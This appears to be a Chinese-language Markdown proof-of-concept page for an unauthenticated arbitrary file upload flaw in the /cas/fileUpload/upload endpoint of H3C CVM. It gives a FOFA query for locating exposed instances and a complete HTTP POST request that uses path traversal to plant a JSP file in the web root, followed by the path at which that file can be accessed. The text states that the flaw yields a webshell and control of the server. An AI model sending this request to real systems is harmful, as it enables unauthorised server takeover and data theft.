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30 lines
817 B
Markdown
30 lines
817 B
Markdown
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## H3C-CVM-upload接口前台任意文件上传漏洞复现
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H3C CVM /cas/fileUpload/upload接口存在任意文件上传漏洞，未授权的攻击者可以上传任意文件，获取 webshell，控制服务器权限，读取敏感信息等。
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## fofa
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```
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app="H3C-CVM"
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```
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## poc
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```
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POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/a.jsp&name=123 HTTP/1.1
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Host: your-ip
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Content-Range: bytes 0-10/20
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Referer: http://your-ip/cas/login
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Accept-Encoding: gzip
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
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<%out.println("test");%>
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```
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访问文件路径
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```
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/cas/js/lib/buttons/a.jsp
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```
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